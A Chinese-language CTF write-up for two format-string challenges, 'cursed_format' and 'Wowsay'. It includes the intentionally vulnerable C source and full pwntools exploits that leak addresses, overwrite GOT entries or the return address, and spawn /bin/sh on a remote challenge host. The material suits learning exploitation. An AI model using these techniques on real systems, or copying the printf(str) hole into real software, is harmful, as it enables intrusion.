cursed_format
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define fmtsize 0x20
__attribute__((constructor)) void ignore_me(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void banner(){
puts("=+=+=+=+=+=+=+=+=+=+=+=+=+=+=");
puts("For all my format string haters.");
puts("(No one likes %n)");
puts("=+=+=+=+=+=+=+=+=+=+=+=+=+=+=");
}
void printchoices(){
puts("1. Keep formatting");
puts("2. Just leave");
printf(">> ");
}
void getStr(char * str){
memset(str, 0, fmtsize);
read(0, str, fmtsize);
}
void curse(char * str, char * key){
for(int i=0; i<fmtsize; i++){
char c = str[i];
str[i] = c ^ key[i];
}
for(int i=0; i<fmtsize; i++){
key[i] = str[i];
}
}
int main(){
char str[fmtsize];
char key[fmtsize];
int option;
banner();
memset(key, 0xff, fmtsize);
while(1){
printchoices();
getStr(str);
option = atoi(str);
switch(option){
case 1:
getStr(str);
curse(str,key);
printf(str);
break;
case 2:
puts("Hope you did something cool...");
return 0;
default:
puts("Invalid option!");
break;
}
}
}
显然漏洞点存在于case 1的printf(str),有格式化字符串漏洞
但是printf中的str并不是我们输入的str,它还会经过key的xor,不过这些都是可以预测的
在exploit.py中会用以下curse_helper.py代码构造输入
from __future__ import annotations
"""
Helper to mirror the `curse` logic in cursed_format.c.
It keeps the evolving key state (initially 0xff * 0x20), accepts an input
byte string, pads/truncates it to 0x20 bytes like the C read, XORs with
the current key, updates the key to the cursed output, and returns that
output.
"""
FMT_SIZE = 0x20
INITIAL_KEY_BYTE = 0xFF
class Curser:
"""
Tracks key state. Two main operations:
- forge(desired): given the desired post-curse output, compute bytes to send;
updates key to `desired`.
- apply(sent): simulate what the binary will print when you actually send `sent`;
updates key to the printed bytes.
"""
def __init__(self, key: bytes | bytearray | None = None, size: int = FMT_SIZE):
self.size = size
self.key = bytearray(key if key is not None else [INITIAL_KEY_BYTE] * size)
def _normalize(self, data: bytes) -> bytearray:
chunk = bytearray(data[: self.size])
if len(chunk) < self.size:
chunk.extend(b"\x00" * (self.size - len(chunk)))
return chunk
def forge(self, desired: bytes) -> bytes:
"""
Compute bytes to send so that after curse() runs in the binary the output
becomes `desired`. Updates internal key to `desired` (matching the binary).
"""
chunk = self._normalize(desired)
send = bytes([d ^ k for d, k in zip(chunk, self.key)])
self.key[:] = chunk # binary sets key to the cursed output, i.e., desired
return send
def apply(self, sent: bytes) -> bytes:
"""
Simulate sending raw bytes to the binary and return what it would print.
Updates key to that printed value (mirrors binary behavior).
"""
chunk = self._normalize(sent)
out = bytes([c ^ k for c, k in zip(chunk, self.key)])
self.key[:] = out
return out
def curse_once(desired: bytes, key: bytes | bytearray | None = None) -> bytes:
"""
Stateless forge helper: compute bytes to send so that output equals `desired`,
starting from the provided key (default all-0xff).
"""
return Curser(key=key).forge(desired)
利用格式化字符串漏洞写返回地址为ROP即可
#!/usr/bin/env python3
from pwn import *
from pwncli import *
from curse_helper import Curser, curse_once
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "cursed_format"
libcname = "libc-2.31.so"
host = "18.212.136.134"
port = 8887
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
'''
def sa(a,b):
sh.sendafter(a, b)
def sla(a, b):
sh.sendlineafter(a, b)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def format_trigger(s):
sa(">> ", str(1))
sleep(0.1)
sh.send(s)
def format_write(target_addr, value):
payload1 = fmtstr_payload(
6,
{target_addr: value & 0xffff},
write_size='short' # 'byte' / 'short' / 'int',内部自动分片
)
payload2 = fmtstr_payload(
6,
{target_addr + 2: (value >> 16) & 0xffff},
write_size='short' # 'byte' / 'short' / 'int',内部自动分片
)
payload3 = fmtstr_payload(
6,
{target_addr + 4: (value >> 32) & 0xffff},
write_size='short' # 'byte' / 'short' / 'int',内部自动分片
)
format_trigger(curser.forge(payload1))
format_trigger(curser.forge(payload2))
format_trigger(curser.forge(payload3))
sh = start()
curser = Curser()
out1 = curser.forge(b"%17$p%18$p%16$p\n")
format_trigger(out1)
libc_base = int(sh.recv(14), base = 16) -0x23d7a
log.success("libc_base: " + hex(libc_base))
stack = int(sh.recv(14), base = 16)
log.success("stack: " + hex(stack))
pie = int(sh.recv(14), base = 16) -0x13b0
log.success("pie: " + hex(pie))
input_stack = stack - 0x148
ret = stack - 0xf0
system = libc_base + libc.sym["system"]
rdi_ret = 0x00000000000237b6 + libc_base
binsh_addr = next(libc.search("/bin/sh")) + libc_base
format_write(ret, rdi_ret)
format_write(ret + 0x8, binsh_addr)
format_write(ret + 0x8 + 0x8, system)
sh.interactive()
Wowsay
这是一道很有意思的题目,题目没有给源码,有种blind hacking的意思。
写WP的时候没有环境,不过可以大概说一下思路
题目会接受一段输入,然后再打印出来,尝试%p看是否有格式化字符串漏洞,回显是一个地址(或者null)说明存在格式化字符串漏洞
之后再尽可能地多打印地址,发现0x4xxxxxx这种地址,可以判断无PIE
根据我的观察

__libc_start_main_ret的下一条语句都是mov edi, eax
而且栈中也肯定有main函数的地址(或许跟程序启动的逻辑有关?)

所以可以通过%s打印然后反汇编判断__libc_start_main_ret的偏移和main函数地址的偏移
比如偏移23处,这应该是main函数
"""
23
b'UH\x89\xe5H\x83\xecpH\x8b\x05\x1f-'
0000000000400000: 55 push rbp
0000000000400001: 48 89 e5 mov rbp, rsp
0000000000400004: 48 83 ec 70 sub rsp, 0x70
"""
再比如偏移21处,这应该是__libc_start_main_ret
"""
21
b'\x89\xc7\xe8/t\x01'
0000000000400000: 89 c7 mov edi, eax
""
通过__libc_start_main_ret的低3位nibble判断libc版本https://libc.rip/,进而也可以获得printf, puts, exit等函数的偏移,获得其低3位nibble
dump 0x404000到0x405000的地址,进而可以判断printf, puts, exit等函数的GOT表的地址。
将exit的GOT表改为main函数地址,可以多次触发格式化字符串漏洞。
其中一次将printf的GOT表修改为system函数地址
在下一次输入时输入/bin/sh即可
exp如下
#!/usr/bin/env python3
from pwn import *
from pwncli import *
from elf_disasm import disassemble_elf_bytes, disassemble_bytes
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
host = "18.212.136.134"
port = 1337
def sa(a,b):
sh.sendafter(a, b)
def sla(a, b):
sh.sendlineafter(a, b)
#57 b'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n--------'
#95
"""
23
b'UH\x89\xe5H\x83\xecpH\x8b\x05\x1f-'
0000000000400000: 55 push rbp
0000000000400001: 48 89 e5 mov rbp, rsp
0000000000400004: 48 83 ec 70 sub rsp, 0x70
"""
"""
21
b'\x89\xc7\xe8/t\x01'
0000000000400000: 89 c7 mov edi, eax
"""
"""
42
b'UH\x89\xe5H\x83\xecpH\x8b\x05\x1f-'
0000000000400000: 55 push rbp
0000000000400001: 48 89 e5 mov rbp, rsp
0000000000400004: 48 83 ec 70 sub rsp, 0x70
"""
"""
for i in range(0x10):
sh = remote(host, port)
payload = f'%{i}$s\n'
sa("What would you like to say: ", payload)
sh.recvuntil("Wow: ")
print(i)
get = sh.recvall()[:-1]
print(get)
for ins in disassemble_bytes(get, base_address=0x400000):
print(ins)
sh.close()
"""
main_addr = 0x401352
exit_got = 0x404048
puts_got = exit_got - 0x8 * 8#?
printf_got = exit_got - 0x8 * 6
sh = remote(host, port)
payload1 = fmtstr_payload(
6,
{exit_got: main_addr},
write_size='short' # 'byte' / 'short' / 'int',内部自动分片
)
sa("What would you like to say: ", payload1 + b'\n')
payload2 = b'%37$p\n'
sa("What would you like to say: ", payload2 + b'\n')
sh.recvuntil("Wow: ")
libc_base = int(sh.recv(14), base = 16) - 0x2724a
system_addr = libc_base + 0x4c490
log.success("libc_base: " + hex(libc_base))
payload3 = fmtstr_payload(
6,
{printf_got: system_addr},
write_size='short' # 'byte' / 'short' / 'int',内部自动分片
)
sa("What would you like to say: ", payload3 + b'\n')
sh.interactive()
"""
for i in range(0x4000, 0x4100, 0x8):
sh = remote(host, port)
maybe_got = 0x400000 + i
payload1 = fmtstr_payload(
6,
{maybe_got: main_addr},
write_size='short' # 'byte' / 'short' / 'int',内部自动分片
)
sa("What would you like to say: ", payload1 + b'\n')
print(hex(i))
#sh.recvuntil("Wow: ")
#print(sh.recvall()[:-1])
sh.interactive()
"""
"""
sh = remote(host, port)
payload = b''
for i in range(0x10, 0x20):
payload += bytes(f"%{i}$p", encoding="ASCII")
payload = payload + b'\n'
sa("What would you like to say: ", payload)
sh.recvuntil("Wow: ")
print(re.split(b'(?=0x)', sh.recvall()))
sh.interactive()
"""
"""
sh = remote(host, port)
payload = b'AAAAAA%6$p' + b'\n'
sa("What would you like to say: ", payload)
sh.interactive()
"""
#print(re.split(b'(?=0x)', sh.recvall()))
#sh.interactive()